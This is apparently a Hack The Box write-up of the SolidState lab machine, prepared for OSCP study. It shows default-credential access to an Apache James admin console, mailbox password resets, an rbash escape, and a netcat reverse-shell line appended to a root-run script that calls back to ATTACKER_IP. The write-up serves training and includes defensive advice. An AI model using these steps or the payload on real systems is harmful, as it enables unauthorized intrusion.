OSCP Prep #7 HTB Write-Up SolidState
1. Target Overview
Machine Name: SolidState
Platform: Hack The Box
Operating System: Linux
Target IP: 10.129.6.171
Objective: Obtain the user and root flags from the target machine. SolidState is a Linux-based machine that exposes several common network services, including a web server and multiple mail-related protocols. These services provide the primary attack surface and require careful enumeration to understand how they interact and what functionality they expose.
The compromise of this system ultimately relies on identifying service misconfigurations and leveraging them to gain access to internal information. By chaining together weaknesses in exposed services and system permissions, it becomes possible to progress from initial access to full administrative control of the machine.
Tools Used
RustScan
RustScan was used for rapid port discovery. Its high-speed scanning capability allowed quick identification of open TCP ports on the target before passing them to Nmap for deeper enumeration.
Nmap
Nmap was used for detailed service enumeration after identifying open ports. The default scripts and version detection options helped identify running services such as SSH, SMTP, POP3, NNTP, and the Apache James administrative interface.
FFUF
FFUF was used for directory brute forcing against the web server running on port 80. This helped identify accessible files and directories within the web application while manual browsing was performed simultaneously.
Netcat (nc)
Netcat was used for multiple purposes during the engagement:
Connecting to the Apache James administrative console on port 4555
Establishing a reverse shell listener for privilege escalation
Netcat’s versatility makes it a common tool for interacting with network services during penetration testing.
Telnet
Telnet was used to manually interact with the POP3 service running on port 110. This allowed direct authentication to user mailboxes and retrieval of stored emails containing sensitive information.
LinPEAS
LinPEAS was used for automated privilege escalation enumeration. The script scans the system for common misconfigurations such as writable files owned by privileged users, which ultimately revealed the vulnerable root-owned Python script that enabled privilege escalation.
2. Enumeration
Nmap Scanning
As always, I begin the engagement by identifying open ports and running services on the target machine. I first ran RustScan to quickly discover open TCP ports before passing the results into Nmap for deeper service enumeration.
The scan revealed several open ports which were then enumerated with Nmap to identify the running services and versions.
sudo nmap -sC -sV -p22,25,80,110,119,4555 10.129.6.171
Nmap Results
The web server returned the following page title:
The scan also confirmed the host is running Linux (Debian).
UDP Scan
To be thorough, I also performed a quick UDP scan against the target to check for any additional services that might expand the attack surface.
The results showed no useful UDP services exposed.
Key Takeaways from Enumeration
The scan revealed several interesting services that will likely play a role in the attack chain:
SSH (22) – Potential for credential reuse once we obtain valid credentials.
SMTP (25) – Mail services often expose usernames or allow enumeration.
HTTP (80) – Always a primary attack surface.
POP3 (110) – Indicates a mail retrieval service.
NNTP (119) – Less common and potentially interesting.
Port 4555 – Uncommon service that may belong to a mail server or custom application.
The presence of multiple mail-related services (SMTP, POP3, NNTP) strongly suggests that the target may be running a mail server platform, which will be investigated further during service enumeration.
Web Enumeration (Port 80)
Given the presence of a web server, I shifted focus to port 80 as an initial attack surface.
To begin reconnaissance, I started a directory brute-force scan using ffuf so that enumeration could run in the background while I manually inspected the site through my browser.
Directory Enumeration Results
The discovered content suggests the web server hosts a fairly small static site.
Website Analysis
Visiting the main page reveals a site for Solid State Security, presenting itself as an award-winning security consulting team.
The site consists of three primary pages:
index.html
services.html
about.html
Each page primarily contains static informational content describing the company's services and background.
At the bottom of each page there is also a contact form.
However, testing the form revealed that it simply submits a POST request to /, which returns the main page without performing any visible action. This suggests the form is either non-functional or not connected to any backend processing logic.
Further directory brute forcing did not reveal any additional interesting endpoints.
Given the lack of dynamic functionality or obvious attack vectors on the web application, the HTTP service does not appear to provide a viable entry point at this stage.
At this point, I shifted focus away from the web server and began investigating the other exposed services identified during the initial port scan.
Mail Server Enumeration (Port 4555)
One of the more unusual services identified during scanning was port 4555. Based on the presence of several mail-related ports (SMTP, POP3, NNTP), I suspected that this port might belong to a mail server management interface.
To investigate further, I connected to the service using netcat.
Upon connecting, the service returned a login prompt for the James Admin Console.
What is Apache James?
Apache James (Java Apache Mail Enterprise Server) is an open-source mail server written in Java. It provides standard email services such as:
SMTP
POP3
IMAP
NNTP
In addition to the mail protocols themselves, James also exposes an administrative console which allows administrators to manage users, domains, and mailboxes.
In this case, the admin interface was accessible over port 4555.
Default Credentials
Since administrative consoles frequently ship with default credentials, I attempted to authenticate using a common default:
Username: root
Password: root
This authentication attempt was successful, granting access to the James mail server administrative interface.
This immediately represents a significant misconfiguration, as it allows an attacker to directly interact with the mail server's administrative functions. Mail Server Enumeration (Port 4555)
Once authenticated, the administrative console displayed a list of available commands.
help
listusers
adduser
setpassword
deluser
setalias
setforwarding
User Enumeration
Using the available administrative functionality, I enumerated the mail server accounts.
This revealed multiple existing user accounts on the mail server.
Since the administrative console allows password modification, I reset the passwords for each user using the setpassword command.
By resetting these credentials, I was able to gain authentication access to each user's mailbox.
3. Exploitation
Mailbox Enumeration via POP3
After resetting the passwords for the mail server accounts through the Apache James administrative console, I began interacting with the POP3 service (port 110) to read the contents of the users' mailboxes.
I connected to the POP3 server using telnet.
telnet 10.129.6.171 110
Using the credentials I had previously set through the James admin interface, I authenticated as the available users and enumerated their messages.
Accessing John's Mailbox
John's mailbox contained a message from the mail administrator discussing Mindy's account access restrictions.
While this message did not contain credentials, it confirmed that Mindy recently received account access information, making her mailbox particularly interesting.
Accessing Mindy's Mailbox
Next, I authenticated as Mindy.
The mailbox contained two messages.
Retrieving the second message revealed a set of SSH credentials.
This email provided valid SSH credentials for the target machine.
Gaining Initial Access via SSH
After discovering SSH credentials in Mindy’s mailbox, I attempted to authenticate to the target system.
ssh mindy@10.129.6.171
Using the credentials found in the email:
username: mindy
password: P@55W0rd1!2@
I was successfully able to establish an SSH session as the mindy user.
Once connected, I attempted to run some basic enumeration commands.
whoami
However, this returned an error:
-rbash: whoami: command not found
Checking the current working directory confirmed that I had landed in Mindy’s home directory.
pwd
/home/mindy
Restricted Shell (rbash)
Examining the system revealed that Mindy’s shell was configured as rbash, or restricted bash.
Restricted bash is a security feature of the Bash shell that limits the commands a user can execute. It is commonly used in environments where administrators want to restrict a user’s ability to interact freely with the system.
Typical rbash restrictions include:
Preventing the use of commands containing
/Preventing changes to the
PATHvariablePreventing the use of
cdRestricting execution to a predefined set of allowed commands
The purpose of rbash is to limit a user to a controlled command environment, preventing them from accessing sensitive parts of the system or executing arbitrary binaries.
In practice, however, restricted shells are frequently misconfigured and can often be bypassed, allowing an attacker to escape the restricted environment.
At this stage, the next objective was to identify a method to break out of the restricted shell and obtain a fully functional interactive shell.
Escaping rbash
A simple technique to bypass restricted shells when connecting via SSH is to force execution of a different shell during login.
This can be done using the -t option to execute a command immediately after establishing the SSH connection.
ssh mindy@10.129.6.171 -t bash
This forces bash to run instead of the restricted shell defined for the user account.
After reconnecting using this method, I was able to execute previously restricted commands.
Although the prompt appeared slightly malformed, the important outcome was that I now had access to a fully functional shell, allowing standard enumeration.
With the rbash restrictions bypassed, I could now proceed with normal system enumeration in search of a privilege escalation path.
4. Privilege Escalation
Initial Enumeration
After bypassing the restricted shell, I began my standard Linux privilege escalation checklist.
First I confirmed the current user:
whoami
mindy
Next I checked the user’s group memberships:
id
uid=1001(mindy) gid=1001(mindy) groups=1001(mindy)
This confirmed that the account does not belong to any privileged groups.
I then checked for sudo privileges:
sudo -l
However, the sudo binary was not available in the current environment.
bash: sudo: command not found
Filesystem Enumeration
I proceeded with standard manual enumeration, reviewing common escalation vectors such as:
writable directories
cron jobs
unusual binaries
SUID files
scripts executed by privileged users
Despite checking typical locations nothing immediately stood out as an obvious privilege escalation path.
Automated Enumeration with LinPEAS
Since manual enumeration did not reveal anything obvious, I decided to use LinPEAS, a popular Linux privilege escalation auditing script that automatically scans the system for common misconfigurations.
To transfer the script to the target machine, I first hosted it from my Kali machine using a simple Python web server.
Then from the compromised SSH session, I downloaded the script using wget.
After downloading the script, I made it executable and ran it.
LinPEAS performed a comprehensive scan of the system, checking for common privilege escalation vectors such as:
SUID binaries
writable cron jobs
weak file permissions
PATH hijacking opportunities
scheduled tasks
Vulnerable Root Script
During the scan, LinPEAS highlighted a suspicious file located in the /opt directory.
/opt/tmp.py
Inspecting the file revealed the following:
ls -la /opt/tmp.py
-rwxrwxrwx 1 root root 105 Mar 14 12:15 tmp.py
The script was:
owned by root
world writable (777)
Viewing the contents of the file showed that it was a simple Python script responsible for clearing the /tmp directory.
#!/usr/bin/env python
import os
import sys
try:
os.system("rm -r /tmp/* ")
except:
sys.exit()
Because the file was owned by root but writable by all users, this immediately suggested the possibility of a privilege escalation through script modification if the file was being executed automatically by a privileged process.
Confirming Script Execution
Before modifying the script, I first needed to confirm that it was being executed periodically.
Since the script deletes all files in /tmp, I created a test file to observe its behavior.
touch /tmp/test
After waiting briefly, I checked the directory again and observed that the file had been removed automatically. This confirmed that the script was being executed on a recurring basis by a privileged process.
Exploiting the Writable Script
Since the script was executed by root and was world writable, I appended a reverse shell payload to the end of the file.
Next, I started a listener on my attacking machine.
When the scheduled task executed the script, the payload triggered and established a reverse shell back to my listener.
Root Shell
Once the connection was established, I verified the privileges of the shell.
This confirmed that the reverse shell was running with root privileges, successfully completing the privilege escalation.
5. Lessons Learned
1. The Danger of Default Credentials
The initial foothold on the mail server was obtained using default credentials (root:root) for the Apache James administrative console. Default credentials remain one of the most common real-world misconfigurations and can immediately provide attackers with administrative control over services if they are not changed during deployment.
2. Administrative Service Exposure Increases Attack Surface
The Apache James administrative console (port 4555) was exposed directly to the network. Administrative interfaces should rarely be accessible externally, as they often provide powerful capabilities such as user management, password resets, and system configuration changes. In this case, access to the console allowed modification of user passwords, which ultimately led to mailbox access and credential discovery.
3. Mail Services Can Leak Sensitive Information
By resetting user passwords through the mail server admin interface, it was possible to authenticate to the POP3 service and read stored emails. These emails contained operational details and credentials, demonstrating how internal communication systems such as mail servers can unintentionally expose sensitive information that attackers can leverage for lateral movement or system access.
4. Writable Scripts Owned by Root Are a Critical Misconfiguration
The privilege escalation was possible because a Python script owned by root was world-writable (777). This allowed a non-privileged user to modify a script that was executed automatically by a privileged process. When the script ran, it executed attacker-controlled commands with root privileges.
Misconfigured file permissions on scripts executed by privileged users represent a serious security risk and are a common privilege escalation vector in both real-world environments and penetration testing scenarios.
5. Understanding Service Roles Improves Attack Efficiency
Recognizing the roles of the different mail protocols exposed on the target was critical in progressing through the attack chain:
SMTP for sending mail
POP3 for retrieving mail
NNTP for newsgroup communication
Understanding that POP3 allows mailbox retrieval led directly to discovering the SSH credentials stored in Mindy's email.
6. Defensive Insights
1. Eliminate Default Credentials
Services should never be deployed with default credentials enabled. Default accounts such as root:root for administrative interfaces must be changed immediately during system deployment. Organizations should enforce credential policies that require strong, unique passwords and disable unused default accounts entirely.
2. Restrict Administrative Interfaces
Administrative services such as the Apache James Remote Administration Tool should never be directly exposed to untrusted networks. These interfaces should be restricted using:
firewall rules
VPN access
internal network segmentation
Limiting access to administrative services significantly reduces the attack surface available to external attackers.
3. Secure Mail Infrastructure
Mail servers frequently contain sensitive internal communications, including credentials, operational instructions, and system details. Organizations should ensure that:
mailbox access is strictly controlled
passwords cannot be arbitrarily reset by unauthorized users
administrative mail services are properly secured
Additionally, sensitive credentials should never be transmitted in plaintext emails.
4. Enforce Proper File Permissions
Scripts owned by privileged users must never be writable by unprivileged accounts. In this case, the Python script responsible for system cleanup was configured with world-writable permissions (777), allowing any user to modify its contents.
Secure permission configurations such as:
700
750
755
should be applied to scripts executed by root to prevent unauthorized modification.
5. Secure Scheduled Tasks and Automation Scripts
Automated maintenance scripts, particularly those executed by cron jobs or privileged services, should be carefully audited to ensure they cannot be manipulated by unprivileged users.
Best practices include:
storing scripts in restricted directories
limiting write permissions to administrators only
regularly auditing scheduled tasks
Automated processes executed with elevated privileges should always be treated as high-risk components within a system.
6. Continuous Security Auditing
Regular security audits and configuration reviews can help identify dangerous misconfigurations before they are exploited. Automated tools such as configuration scanners and vulnerability management platforms can assist administrators in detecting issues such as:
exposed administrative services
weak credentials
improper file permissions
insecure automation scripts
Proactive monitoring and auditing significantly reduce the likelihood of privilege escalation vulnerabilities being exploited.
Useful Commands
Throughout this engagement, several commands were used to enumerate services, interact with the mail server, and ultimately achieve privilege escalation.
Interacting with the Apache James Admin Console
Connect to the administrative interface exposed on port 4555.
nc 10.129.6.171 4555
Enumerate available users.
listusers
Reset user passwords.
setpassword username password
POP3 Mailbox Interaction
Connect to the POP3 service.
telnet 10.129.6.171 110
Authenticate and retrieve stored emails.
USER username
PASS password
LIST
RETR 1
SSH Restricted shell escape
Escape the restricted shell by forcing bash during connection.
ssh mindy@10.129.6.171 -t bash
Netcat Reverse shell
Append a reverse shell payload to the writable root-owned script.
echo 'os.system("nc ATTACKER_IP 9001 -e /bin/bash")' >> /opt/tmp.py
